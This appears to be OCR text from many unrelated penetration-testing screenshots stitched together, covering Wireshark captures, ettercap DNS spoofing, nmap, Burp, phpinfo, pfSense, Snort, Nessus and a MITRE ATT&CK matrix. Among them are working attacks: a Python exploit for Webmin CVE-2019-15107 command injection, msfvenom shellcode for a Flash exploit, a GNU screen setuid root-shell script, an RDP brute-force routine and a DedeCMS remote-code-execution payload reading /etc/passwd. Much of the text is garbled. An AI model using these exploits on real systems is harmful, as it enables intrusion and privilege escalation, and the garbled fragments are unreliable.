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Filter: | bootp ~ | Expression.. Clear Apply Save

No. Time Source Destination Protocol Length Info

08. 108  192.108.10 . 2248 DHCF 32/ DHCP Req rar C UXT 3 il
24 1.61569400 192168107725 192.168.107.168 DHCP 342 DHCP ACK - Transaction ID 0xf5233fe2
89 29.9179840192.168.107.168 192.168.107.254 DHCP B42 DHCP Re]ease] - Transaction ID 0x313971db

B Frame 89: 342 bytes on wire (2736 bits), 342 bytes captured (2736 bits) on interface 0
® Ethernet II, Src: vmware_eb:2a:75 (00:0c:29:eb:2a:75), Dst: vmware_ff:91:34 (00:50:56:ff:91:34)
[+

# User Datagram Protocol, Src Port: bootpc (68), Dst Port: bootps (67)
- Bootstrap Protocol

Message type: Boot Request (1)

Hardware type: Ethernet (0x01)

Hardware address length: 6

Hops: O

Transaction ID: 0x313971db

seconds elapsed: 0

Bootp flags: Ox0000 (Unicast)

Client IP address: 192.168.107.168 (192.168.107.168)

yYour (client) IP address: 0.0.0.0 (0.0.0.0)

Next server IP address: 0.0.0.0 (0.0.0.0)

Relay agent IP address: 0.0.0.0 (0.0.0.0)

Client MAC address: vmware_eb:2a:75 (00:0c:29:eb:2a:75)

Client hardware address padding: 00000000000000000000

Server host name not given

Boot file name not given

Magic cookie: DHCP

option: (53) DHCP Message Type

option: (54) DHCP Server Identifier

option: (61) client +identifier

option: (255) End

=
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Host List x  Plugins x

MITM

Name Version Info ARP poisoning...

arp_cop 1.1 Report suspicious ARP activity NDP poisoning

autoadd N7 Automatically add new victims in the target range ICMP redirect...
Port stealing...

DHCP spoofing...
Stop MITM attack(s)
SSL Intercept

chk_poison 18 Check if the poisoning had success
dns_spoof 1.3 Sends spoofed dns replies

dos_attack 1.0 Run a d.o.s. attack against an IP address
dummy 3.0 A plugin template (for developers)
find_conn 1.0 Search connections on a switched LAN
find_ettercap 2.0 Try to find ettercap activity

find_ip 1.0 Search an unused IP address in the subnet
finager 1.6 Fingerprint a remote host

GROUP1:192.168.146.5 00:0C:29:A3:BE:A8

GROUP 2:192.168.146.1 F2:18:98:A9:1A:64

ins_spoof: A [www.google.com] spoofed to [192.168.146.4] TTL [3600 s]

ins_spoof: A [www.4399.com] spoofed to [192.168.146.4] TTL [3600 s]

ins_spoof: A [w.cnzz.com] spoofed to [192.168.146.4] TTL [3600 s]

ins_spoof: A [ptlogin.3304399.net] spoofed to [192.168.146.4] TTL [3600 s]

ins_spoof: A [c.cnzz.com] spoofed to [192.168.146.4] TTL [3600 s]

ins_spoof: A [optimizationguide-pa.googleapis.com] spoofed to [192.168.146.4] TTL [3600 s]




P U FF &

<div class="container">
<div class="row">
<div class="col-12"
<br>
<form method="post" action=".">
% csrf_token %}

class="form-group col-md-4">
<label for="username">Hgffi</label>

class="form-group col-md-4">
<label for="password">igBHE</label>
<input type='"password" class="form-control" id="password" name="password" required>

class="form-group col-md-4">
<label for="password2">fiA\ZEB</label>
<input type='"password" class="form-control" id="password2" name="password2" required>




F @ F A I app="Microsoft-Exchange”

L
uk9i+1 B83, 329
S5aiTns 172,242
B2GS 79,389
BedgV 13,813
PgsC 11,820

1,052,926
710,665
620,048
425,428
177,705

1711327

597 670

2024-01-30

B8 MicrosoR-41S/10.0

@

hitps://82.114.183.182 =

EE Mecrosoll-iiSH0.0

Banner

HTTF/1 1 302 Moved Temporarily

Cache-Confrol’ no-cache

Pragma: no-cache

Location: hitps: 20414 12 T0lowa’

Server: Microsofi-HSA10.0

X-FEServer. MLBGSD-EX16MBO01

X-Re sl TehSB2h-03a0-4091-8188-60918%e59c1
L Tue, 30 Jan 2024 09'06:59 GMT

Conneclion: close

Piveikiinst 1 ridbe A

+ Cerficate

Banner

HTTRM.1 302 Moved Temporarnily
Cache-Control: no-cache

Pragma; no-cache

Location: hitps 82 114 183 182/owa/
Server: Microsofl-lISHM0.0
X-FESenver EXCHANGE

L4
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jo.

SUSl1l/TCpPp open DLaCKlcCe—l1cecCcap

Time Source Destination Protocol Lengtt Info

4,410952972 10.10.16.222 10.10. 107129 TCP SECEEUEEY Nmap done: 1 IP address (1 host up) scanned in 0.10
4.410956662 10.10.10.222 10.107406.129 TCP 58 45446 —

4.410982040 10.10.10.222 10.10.10.129 TCP 58 45446 —

4.410985957 10.10.10.222 40.10.10.129 TCP 58 45446 —

4.411010468 10.10.10.222 10.10.10.129 TCP 58 45446 —

4.411014078  10.10.10.222 10.10.10.129 TCP 58 45446 —

4.411037560 10.10.10.222 10.10.10.129 TCP 58 45446 — i ethE.) 160.10.10.222 16.10.10.129
4.411041264 10.10.10.222 10.10.10.129 TCP P! WARNING: If -S is being used to fake your source add
4.411064782  10.10.10.222 10.10.10.129 TCP 58 45446 — . - .

4.411068480 10.10.10.222 10.10.10.129 TCP gt n . If you are using it to specify your real source
4.411092709 10.10.10.222 10.10.10.129 TCP 58 45446 : . R
4.411096318  10.10.10.222 10.160.10.129 TCP 58 #5446 S5 Starting Nmap 7.91 ( https://nmap.org ) at 2621-06-1
4.411131365 10.10.10.129 10.10.10.222 60 9485 - 45: Nmap scan report for www.dvssc.com (101@10129)
4.411131394  10.10.10.129 10.10.10.222 60 722 - 454 .

4.411131415  10.10.10.129 10.10.10.222 60 092 - 454 Host is up (0.0036s latency).

4

411131445 10.10.10.129 10.10.10.222 TCP 60 6004 — 45¢ Not shown: 991 closed pOI‘tS

Frame 1:,342 bytes on wire (2736 bits),

342 bytes captured (2736 bits)cson interface ef
Ethernet II, Src: VMware 30:73:e0 (00:0c:29:30:73:e@), Dst: VMware_ef:93:42 (00:50:56] PORT STATE SERVICE
Intepnet ‘Rrotocol Version 4, Src: 10.10.10.130, Dst: 10.10.10.254 22/th open SSh

User Datagram Protocol, Src Port: 68, Dst Port: 67
Dynamic_Host Configuration Protocol (Request)

80/tcp open http







Resource Pool

Positions Payloads

T I

Target

Options

Exclude HTTP headers

(E) Grep - Extract

Extract the following items from responses:

Add
Edit
Remove
Duplicate N b
Up
Down

Clear

Maximum capture length: | 100

@ Grep - Payloads

CJ These settings can be used to flag result items containing reflections of §

Search responses for payload strings

(?) Redirections
() These settings control how Burp handles redirections when performing a
Follow redirections: ) Never
On-site only

In-scope only

Always

Process cookies in redirections

Web®

e 0 12 1

S~

() These settings can be used to extract useful information from responses into the attack results table.
e @

Define extract grep item

(@ Define the location of the item to be extracted. Selecting the itermn in the response panel will create a suitable configuration
automatically. You can also modify the configuration manually to ensure it works effectively.

L4 Define start and end Extract from regex grou
egex group
1O Start after expression: | values='
Start at offset:
© End at delimiter: =\An X <

End at fixed length:

Exclude HTTP headers Update config based on selection below Refetch response
</div=<br />
<form action="#" method="GET">
New passwards<br /=
<input type="password" AUTOCOMPLETE="off" name="password_new"=<hbr />
a0 Confirm new password:<br />
91 <input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
93 <hrf>
a3 <input type="submit" value="Change" name="Change">
94 <input type='hidden' name='user_token' value='b7ab3d78d6850913200dac33f2ccdd4dc’ />
35 </form>
9¢ <pre>Password Changed.</pre>
97  </divs

a8 <p>Note: Browsers are starting to default to setting the <a hrefs'
https://web.dev/samesite-cookies-explained/ " >SameSite cookie</a> flag to Lax, and in doing so
are killing off some types of CSRF attacks. When they have completed their mission, this lab
will nmot work as originally expected.</p>

ersdnnauncamantc e /o

10
Q&>

user 2 matches

oK Cancel



Request

1

2 Host:

ett mHex \n =

12381

GET /control/auth_cross/cross_permission pay.php?price=100HTTP/1.1

127.0.0.1 =

3 Cache-Control: max-age=0

| sec-ch~-ua:
» sec-ch-ua-mobile: 20
6 sec-ch-ua-platform: "macOS"

":Not A Brand";v="99", "Chromium";v="94"

/ Upgrade-Insecure-Requests: 1
§ User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) App

) Sec-Fetch-Site:

3 Sec-Fetch-Dest:
! Accept-Encoding: gzip, deflate

Gecko) Chrome/94.0.4606.61 Safari/537.36

Accept:

text/html, application/xhtml+xml,application/xml;g=0.9,ima
g=0.8,application/signed-exchange;v=b3;q=0.9

none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

document

Accept-Language: zh-CN,zh;g=0.9

6 Cookie: PHPSESSID=r8t4133kamgq2o9s660lv6lg403
/ Connection:

close

Scan

Do passive scan
Do active scan
Send to Intruder
Send to Repeater
Send to Sequencer
Send to Comparer
Send to Decoder \
Show response in browser ‘
Request in browser >

~ 381

~¥R
S

Extensions
Engagement tools
Copy URL

Copy as curl command
Copy to file

Save item

hes

a2 fi

Response

Xl Raw Hex Render \n =
1 HTTP/1.1 200 OK

2 Date: Thu, 21 Oct 2021 06:31:06 GMT

3 Server: Apache/2.4.7 (Ubuntu)

i X-Powered-By: PHP/5.5.9-1lubuntud

5 Expires: Thu, 19 Nov 1981 08:52:00 GMT

& Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
/ Pragma: no-cache

8 Vary: Accept-Encoding

9 Content-Length: 13832
i0 Connection: close
11 Content-Type: text/html

<script>
alert('fBEHET100TMWETHER")
</script>

. |

16 <html lang="en">
17 <head>
18 <meta charset="UTF-8">
19 <title>
Document

</title>
20 <link rel="stylesheet" type="text/css" href="../../template/cross per pay/res/static/c
<link rel="stylesheet “type="text/css" href="../../template/cross per pay/res/layui/cs
<script type="text/javascript" src="../../template/cross per pay/res/layui/layui.js">
</script>

R [P ETGYLT e P, e |

0 matches

HOL1D3dSNI

nlﬂ
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PHP Version 7.3.6-1+ubuntu18.04.1+deb.sury.org+1

php

System Linux 388a8a47e78c 4.19.121-linuxkit #1 SMP Tue Dec 1 17:50:32 UTC 2020 x86_64
Build Date May 31 2019 11:06:48

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path /etc/php/7.3/apache2

Loaded Configuration File

/etc/php/7.3/apache2/php.ini

Scan this dir for additional .ini files

/etc/php/7.3/apache2/conf.d

Additional .ini files parsed

/etc/php/7.3/apache2/conf.d/10-mysqlnd.ini, /etc/php/7.3/apache2/conf.d/10-opcache.ini,
/etc/php/7.3/apache2/conf.d/10-pdo.ini, /etc/php/7.3/apache2/conf.d/15—xml.ini,
/etc/php/7.3/apache2/conf.d/20-apcu.ini, /etc/php/7.3/apache2/conf.d/20-calendar.ini,
/etc/php/7.3/apache2/conf.d/20-ctype.ini, /etc/php/7.3/apache2/conf.d/20~curl.ini,
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t=8888 -T python=>shellcode. txt
[-]1 No platform was selected, choosing Msf::Module::Platform::Windows f
N ‘ _7 . = = rom the payload
e wwmemess [-] No arch selected, selecting arch: x86 from the payload
" x4a‘.x;6'\31 xff mcfﬂ,ﬁw}f?ﬁ'j\o, : 20\x20xc1ixcf” S No encoder Spec 1fied = Ou‘tpu‘tti_ng raw pay‘[_oad
"x0dw01\xc7\xe2\xf2\x52\x57\x8b\x52\x 10\xBbix4a\x 3¢

xBbhcdcix 1 11x78\xe31x481x01ixd 1 x5 1\xBbIX59x201x01" Payload size: 354 bytES
xd3\Bbix49\x18ixe3\x3a\x49\xBb X 34\xBb X0 1 xd6\x31 Final size of python file: 1735 bytes

xffixacixe lxcPx0dx01\xc7\x38\xe0\x 75\xf6\x03\x 7d"
"xf8\x3b\x 7dx24\x 75\xe4\x58\xBb\x 58\x24\x0 1 \xd3\x66"
"x8b\x0c\x4b\x8bx581x 1c\x01\xd3\x8b\x04'x8b\x01'xd0" { m
= "xB9\x44\x24'x24\x5b\x5b\x61'x59\x5a'x5 1 \x ffxe0x5f )
x5f\x5a\x8b\x12xebx8d\x5d\x68\%33\x321x00\X00\X 68" cat shellcode. txt
‘(f%‘.\'%} x5f\x54\x68' (-3 %ﬁ x07\xff\xd5\xb8 ; buf b nn
x90'x01x00'x001x29\xc4\X5: 66\x291xB0\x6b\x00
A N5 A Racx OO RABAEBAOZA0022" buf += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30"
ol e buf += b"\x89\xe5\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff"
buf += b"\x0f\xb7\x4a\x26\x31\xcO\xac\x3c\x61\x7c\x02\x2c\x20"
buf b"\xcI\xcF\x0d\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x8b"
buf += b"\x42\x3c\x01\xd0\x8b\x40\x78\x85\xcO\x57\x74\x4c\x01"
buf b"\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3\x85\xc9\x74"
buf b"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xcO\xac\xcl"
buf b"\xcf\Xx0d\x01\xc7\x38\xe0\x75\xT4\x03\x7d\xf8\x3b\x7d"
P B e _ . buf b"\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b"
PR e ey : buf b"\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
P N buf b"\x24\x5b\x5b\x61\x59\x5a\x51\xTF\xe0\x58\x5f\x5a\x8h"
payload = but _— = xi 2w - BENE buf b"\x12\xe9\x80\XT F\XTT\XTT\x5d\x68\x33\x32\x00\x00\x68"
igiﬁdﬂy = e B index2html 427F% HTMLdocument  2021-04-0816:20:00 buf b"\Xx77\X73\x32\X5T\x54\x68\x4c\x77\x26\x07\x89\ xe8\xff"
flash_name = "exploit = & cve-2018-4878.py 119.5KiB Pythonscript 2021-04-0816:20:01 buf += b’ ‘\x(}ﬂ\)(hS\xg(D\xm1\)(@@\)(@@\)(29\)((:4\)(54\)(5@\Xﬁg\ng\x8@“

= Desktop "= exploit.swf 17.5KiB Shockwave Flashfile 2021-04-08 16:20:01 buf S L‘“ \\Xﬁ_qlb\)(@@\xff\Xd5\X6a\X@a\X68\XaC\X1®\XC3\X@S\X68\X@2 "

Bebt @OAD W s

57\x68x02\xd9
81x68'x00\x40
0fx30xffixd5\x57"
"x68'x75\x6e'\x4dw6 1 'xffixd5\x5exSe\x ffix0c\x24\xed

Coo~NOOWUMA WN P

x7 1o ffacffie01\xe3\w29\xc6\x 75\xc 7ixe 3\xbb\x 0
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class Linit_phpok

{

Run Code
HAEX

#E5| R 012

RIREH
Find All References

ERFE TR

| GRENACE]
AL S ...
BRAIEEANS (86K 8F]
TRICEDIRIE...

B1])
Sl

$ctrl SEHR.
$func = 'index';

blic $dir_root = "./";

te function _action_phpok5($appfile,$ctrl,$func)

$appfile);

wrl =2 Serrly
$this->func = $func;
$name = 'phpok\app\control\\"'.$ctrl.'\\"'.$this->app_id.'_control';
$cls w $name();
$func_name = $func."_f";
if(!in_array($func_name,get_class_methods($cls))){

$this->error(P_Lang('MA {ctrl} ARFEHE {func}',array('ctrl'=>$ctrl, 'func'=>$func_name)));

i
$this->config['ctrl'] = $ctrl;
$this->config['func'] = $func;
$this->config['time'] = $this—>time;
$this->config['webroot'] = $this->dir_webroot;
$this->assign('sys',$this->config);
$this->plugin('phpok-before');
$this->plugin('ap-"'.$ctrl.'-"'.$func.'-before');
if($this—>app_id ==
$this->error($this->site["content"]);

>$func_name();

www ' $this->site['status'] && !$this->session

>val('admin_id"')){
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import requests
import re
import sys

requests.packages.urllib3.disable_warnings()

def cve_2019_15107(url, cmd):
target = url+'/password_change.cgi'

# EMIERXL
post_cookies {"redirect”: "1, "testing": “1",
"sid": "x", "sessiontest": "1"}
post_headers {"Accept-Encoding": "gzip, deflate", "Accept": "x/x", "Accept-Language": "en",
"User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"Connection": "close", "Referer": target,
"Content-Type": "application/x-www-form-urlencoded"}
SHERMIE
post_data = "user=rootxx&pam=expired=2&old=test|%s&newl=test2&new2=test2" % cmd
r = requests.post(target, headers=post_headers, cookies=post_cookies, data=post_data, verify=False)

# ARAEE BifieERET
if r.status_code == 200 and "The current password 1is" 1in r.text:
print("Vuln URL: %s" % target)
m = re.compile("<center><h3>Failed to change password : The current password is incorrect(.x)</h3></center>", re.DOTALL)
cmd_result = m.findall(r.text)[0]
print ("Command Result: %s" % cmd_result)
else:
print('Not vulnerability')

if __name__ == "__main__":
url = sys.argv[1l]
cmd = sys.argv[2]
cve_2019_15107(url, cmd)
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Status /

Disks

Mount

>/

System Information

CPU Type

Hardware crypto
Kernel PTI

MDS Mitigation
Uptime

Current dateftime

DNS server(s)

MBUF Usage

Load average

CPU usage

Memory usage

SWAP usage

Flisense

COMMUNITY EDITION

#0900

22% of 126G (ufs)

+/900

firewall. paedmHinux.lokal
Administrator@10.1.0.15 (LDAP/server.paedmHinux lokal)

VMware Virtual Machine
Netgate Device ID: ddf5bb410798220e6d03

Vendor: Phoenix Technologies LTD
Version: 6.00
Release Date: Thu Nov 12 2020

2.7.0-DEVELOPMENT (amd64)
built on Wed Feb 01 06:07:31 UTC 2023
FreeBSD 14.0-CURRENT

Unable to check for updates

Intel(R) Xeon(R) Gold 6126 CPU @ 2.60GHz
2 CPUs: 1 package(s) x 2 core(s)

AAES-NI CPU Crypto: Yes (active)

QAT Crypto: No

AES-CBC,AES-CCM,AES-GCM,AES-ICM,AES-XTS
Enabled

Inactive

4 Days 02 Hours 52 Minutes 41 Seconds

Mon Feb 6 11:28:59 CET 2023

- 127.0.0.1
- 9999

Mon Feb 611

0% (51/198000)

24% (6450/26583)

0.08,0.14,0.18
. ]
2%

h .

20% of 1984 MiB

0% of 3071 MiB

Interfaces ~

Firewall ~

NTP Status
Server Time

Sync Source 188.40.62.55 (stratum 2)

Installed Packages

Name Version
Cron v
Open-VM-Tools v

System_Patches v
Packages may be added/managed here:

Services Status
Service Description

dhepd DHCP Service

dnsmasq DNS Forwarder

dpinger Gateway Monitoring Daemon

ntpd NTP clock sync

openvpn OpenVPN server: OpenVPN INTERNET

openvpn_2 OpenVPN server: OpenVPN GAESTE

sshd Secure Shell Daemon

syslogd System Logger Daemon

vmware-guestd VMware Guest Daemon

(< < < < DT < < TOC< JOC< < < ]

vmware-kmod VMware Kernel Modules

Netgate Services And Support ° 6

NETGATE AND pfSense COMMUNITY SUPPORT RESOURCES,

If you purchased your pfSense gateway firewall appliance from Netgate and elected
‘Community Support at the point of sale or installed pfSense on your own
hardware, you have access to various community support resources. This includes
the

You also may upgrade 1o a Netgate Global Technical Assistance Center (TAC)
‘Support subscription.

Interfaces

Traffic Graphs
INTERNET

autoselect

autoselect

autoselect

autoselect

autoselect

F£Q0

10.11.12.13

172.16.1.1
192.168.201.254
172.20.1.1

+£Q0

wan (in) @ wan (out)

101 2730

PAEDAGOGIK

0

GAESTE

lan(in)  @lan (out)
4.0k

2.0k

00

4 AT

2820

opti (in) @ opt! (out)

2820

opt2 (in) @ opt2 (out)
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Services/ Snort/ Alerts o
Snort Interfaces Global Settings Updates Alerts Blocked Pass Lists Suppress IP Lists SID Mgmt Log Mgmt Sync
Clear all interface log files —
Alert Log View Settings
Interface to Inspect WAN v | Auto-refresh view 1000 [ save
Choose interface.. Alert lines to display.
Alert Log View Filter [+]
Last 1000 Alert Log Entries
—_— Date Pri Proto Class Source IP SPort Destination IP DPort SID Description
20170723 1 ubpP A Network Trojan was 66.240.20534 1066 16464 1:31136 MALWARE-CNC Win.Trojan.ZeroAccess inbound
20:49:52 Detected Q Q ®  connection
2017-07-22 2 UDP Potentially Bad Traffic 163.172.17.76 54465 5060 140:26  (spp_sip) Method is unknown
06:15:49 Q Q ®
2017-07-21 2 UbDpP Potentially Bad Traffic 163.172.22.169 52428 5060 140:26  (spp_sip) Method is unknown
09:26:30 Q Q x
2017-07-21 2 uopP Potentially Bad Traffic 163.172.17.76 46834 5060 140:26  (spp_sip) Method is unknown
01:03:28 Q Q x
2017-07-20 2 UbDpP Potentially Bad Traffic 163.172.22.169 54788 5060 14026  (spp_sip) Method is unknown
20:36:37 Q Q x

163.172.17.76 59571 5060 140:26  (spp_sip) Method is unknown

2017-07-20 2 UpP Potentially Bad Traffic
08:31:30 Q Q x




B

My Scans
All Scans

Trash

Policies

Plugin Rules
Customized Reports
Terrascan

Web App Scanning

Basic Network Scan

¢ Back to My Scans

Scan Summary Hosts & Vulnerabilities 35 History
Filter =
Sev ~ VSSh- VFR ~ Name .

3 SME Signing not required

5 SSL(Multiple Issues)

4 TLS(Multiple Issues)

5 SMB (Multiple Issues)

3 TLS (Multiple Issues)

Z  HTTP (Multiple Issues)

2 Microsoft Windows (Multiple Issues)

2 TLS (Multiple Issues)

Nessus 5YM scanner

Service Detection

DCE Services Enumeration

Ethernet MAC Addresses

Ethernet Card Manufacturer Detection

Messus Scan Information

Traceroute Information

Additional DNS Hostnames

Family «

Genera

Service detection

Windows

Genera

Web Servers

Windows

Misc.

Port scanners

Service detection

Windows

Genera

Settings

General

Genera

Configure

Count ~

w

(8]

[

20

(*

Launch = Report Export ~

. \
Scan Details f
Policy: Basic Network Scan \
Status: Abarted
Severity Base: CVSS v3.0
Scanner: Local Scanner
Start: November 30at 1:48 P
End: Movember 304t 2:05 PM

Vulnerabilities

Critical
High
Medium
Low
Info




£1 35 37 1, 3C Bk

8li2 41154.sh, RBWMT:

@ @ System Tools - Command ¢ -
gcc -0 /tmp/rootshell /tmp/rootshell.c
< C A %2 | 172.16.121.128/command.php rm —f /tmp/rootshell.c

echo "[+] Now we create our /etc/ld.so.preload file..."

You are currently logged in cd. /etc

Run Command: umask 000 # because

¥ List Files screen -D -m -L ld.so.preload echo -ne "\x@a/tmp/libhax.so"

O Disk Usage " . . "
echo + | riggering =

O Disk Free [+] 99 g

screen -1ls # screen itself is setuid, so...

Run | tmp/rootshell

You have selected: Is -

total 24 ==
-rw-r--r-- (1 root root 1783 Apr 5 2019 command.php BETREEERG, FEOTE kali BT, —
drwxr-xr-x 2 root root 4096 Mar 24 2019 css

drwxr-xr-x 2 root root 4096 Mar 24 2019 images [/;323.55\,,.

~IW-{@st\""T root root 506 Apr 6 2019 index.php e ;'-'11154.sh libhax.c rootshell.c

-rw-r--r—-- 1 root root 1473 Apr 7 2019 login.php

-rw-r--r-- 1 root root 663 Mar 24 2019 logout.php

gcc —fPIC -shared -1dl -o libhax.so libhax.
gcc -o rootshell rootshell.c

Return to the menu.
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fscan / Plugins / rdp.go afrog / pocs / afrog-pocs / vulnerability / dedecms-rce.yaml (3
Blame 192 lines (171 loc) - 4.26 KB &3 Code 55% faster with GitHub Copilot @ zan8in version 3.0.0
func RdpScan(info xcommon.HostInfo) (tmperr error) {
64 ~ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, signal xbool, num *int, Blame 31 lines (29 loc) - 1.25 KB &3 Code 55% faster with GitHub Copilot
65 defer wg.Done()
66 for one := range brlist { 1 id: dedecms-rce
67 if xsignal == true { 2
68 return 3 info:
69 3} 4 name: DedeCMS 5.8.1-beta - Remote Code Execution
70 go incrNum(num, mutex) 5 author: ritikchaddha
71 user, pass := one.user, one.pass 6 severity: critical
72 flag, err := RdpConn(host, domain, user, pass, port, timeout) 7 verified: false
73 if flag == true && err == nil { 8 descriptions |
74 var result string 9 DedeCMS 5.8.1-beta is susceptible to remote code execution via a variable override vulnerability that
— 75 if domain 1= " { 10 app=-Dedehs?
- 76 result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass) u reference: . X . . . )
77 } else { 12 - https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms—in-china.html
13 - https://sectime.top/post/1d114771.html
78 result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass) 14
79 ¥ 15 set:
80 common. LogSuccess (result) 16 hostname: request.url.host
81 *signal = true 17 Hilsas
82 return 18 ro:
83 } else { 19 # request:
84 errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err) 20 # method: GET
85 common. LogError(errlog) 21 # path: /plus/flink.php?dopost=save&c=cat%20/etc/passwd
86 } 22 # headers:
87 } 23 # Referer: '<?php "system"($c);die;/*ref’
88 } 24 request:
89 25 raw: |
\ 90 v~ func incrNum(num *int, mutex ksync.Mutex) { 26 GET /plus/flink.php?dopost=save&c=cat%20/etc/passwd HTTP/1.1
91 mutex.Lock() 27 Host: {{hostname}}
92 *NUm = ¥nui + 1 28 Referer: <?php "system"($c);die;/*ref
93 mutex.Unlock() 29 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
94 } 30 expression: response.status == 200 && "root:.*?: [0-9]*: [0-9]*:".bmatches(response.body)
31 expression: ro()
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Initial Access Execution Persistence Privilege Defense Evasion Credential Access Di ¥ Lateral Collection Exfiltration Command And
Escalation Movement Control
10 items 31items 56 items 28 items 59 items 20 items 19 items 17 items 13 items 9 items 21 items
Drive-by AppleScript SRth Hash_profileand Access Token Access Token Account Account Discovery |AppleScrint Audio Capture Automated Commenly Used Port
Compromise SSS=ashrc Manipulaticn Manipulation Manipulation Exfiltration T
B CMSTP e R P Application Application Automated Communication
Exploit Public- Accessibility Features Accessibility Binary Padding Bash History Window Discovery Deployment Collection Data Compressed | Through Removable
Facing Application Command-Line Features : Software Media
E Interface AppCert DLLs BITS Jobs Brute Force Clipkoard Data Data Encrypted
Hokdte S ARdon Control Panel ltems Applnw APRCRILOCES Bypass User Account Credential Dumping Egﬁ:&ﬁg{ Data from Data Transfer Size i )
Replication Through 5 D Application Sh Applnit DLLs Control dentials in Fil File and Directory Object Madel Information Limits Custom Command
Removable Madia yramicbatd Ppliggtion Shimming - CredenbialsinEIes T piscovery Repositories and Control Protocol
Exchange Application Clear Command Histary Explaitation of Exfiltration Over
E tion th h API Sutl’:{enlwcallon Shimming CMSTP gredent;als L MNetwork Service Remote Services Data from Local Alternative Custom
XeCRE trggun ackage e eqistry Secanning System Protocal Cryptographic
i . igni itati Legon Seripts Protocel
Spearphishing Link E;‘::ultmgh BITS Jobs Account Control Code Signing gxp:?'ti!“?:m' Network Share 9 P Data from Exfiltration Ower
| L Bootkit Component Firmware Ecenielfotes Discovery Pass the Hash Network Shared  Command and Data Encoding

Spearphishing via
Service

Supply Chain
Compromise

Trusted
Relationship

Valid Accounts

Exploitation for Client

Execution

Graphical User
Interface

InstallUtil

Local Job Scheduling
LSASS Driver

Browser Extensions

Dylib Hijacking

Hooking
Exploitation for Control Panel ltems

Change Default File
Association

Compenent Firmware | Privilege

Escalation
Component Object

Model Hijacking Extra Window

Memory Injection

Create Account
File System

Component Object Model

Hijacking

DCShadow

Deobfuscate/Decode Files

or Information

Forced
Authentication

Input Capture

Input Prompt

Kerberoasti

Disabling Security Tools ﬁey'la'ln

Password Policy
Discovery

Peripheral Device
Discovery

Permission Groups
Discovery

Process Discovery

Query Registry

Pass the Ticket Lree

B 5 Data from
emote Deskiop  gamovable Madia
Protocol

Data Staged
Remote File Copy Aaainge

2 Email Collection
Remote Services

=y Input Capture
Replication . -

Through
Removable Media

Ian in the
Browser

Centrel Channel
Exfiltration Over
Other Network
Medium

Exfiltration Qver
Physical Medium

Scheduled
Transfer

Data Obfuscation

Domain Fronting
Fallback Channels

Multi-hop Prnxy‘

Multi-Stage
Channels

Multiband
Communication

LLMNR/NET-NS

DLL Search Order Permissions
Hijacking Weakness

‘ DLL Search Order

Remaote System Shared Webroot  Screen Capture —
== Mshta Hijacking Paisoning Discovervv p Multilayer Encryption =
PowerShell Dylib Hijacking Hooking DLL Side-Loading Network Sniffing 55H Hijacking Videe Capture
Security Software L
Regsves/Regasm Ex[ernal Remate Image File anse Password Filter DLL  Discovery Eﬂgltesnlr:ared i e R aaas Tedls
eEvices Execution Options L ;
Regsvr3Z Tnisetion P Private Keys System Remote File Copy
Rundliz2 s J 2 ncoftiemory Replication Thralgh, '"formation e party
Permissions Launch Daemon  Injection P ug Discover Software Standard Application
Removable Media ¥
Scheduled Task Weakness ¥ f Layer Protocol
New Service File Deletion Socurityd M  System Metwork  WWindows Admin
Boriniln Hidden Files and eclniyd MamOTY - < s ratian Shares Standard
pling . j*]
Directories Path Interception  File System Logical FIE Cryptographic
Soryics Exaoutian Offsets Two-Factor Discovery Windows Remote = )
Hooking Plist Modification Authentication System Network  Management il
i Gatekeeper Bypass Interception L) A .
Signed Binary Proxy " ) Port Monitors Connections Standard Non-
i ypervisor P
Execution v Hidden Files and Discovery Application Layer
Signed Script Proxy ~ Image File Execution  Process Injection  pirectories " Protocol
Biation Options Injection T ysten U v Used
S Hidden Users Owner/User P"C;’mm"“‘f =
Hernel Modules and i Discover: far
Source Extg:sinns' Service Registry  Hidden Window ; i
Space after Filename Permissions System Service Web Service
Launch Agent Weakness HISTCONTROL Discovery
Third-party Software ; ;
gt Launch Daemen Setuid and Setgid |mage File Execution System Time

Options Injection

SID-History Discovery "
Indicator Blocking

Iniection

Trap
legend

Trusterd Neveloner
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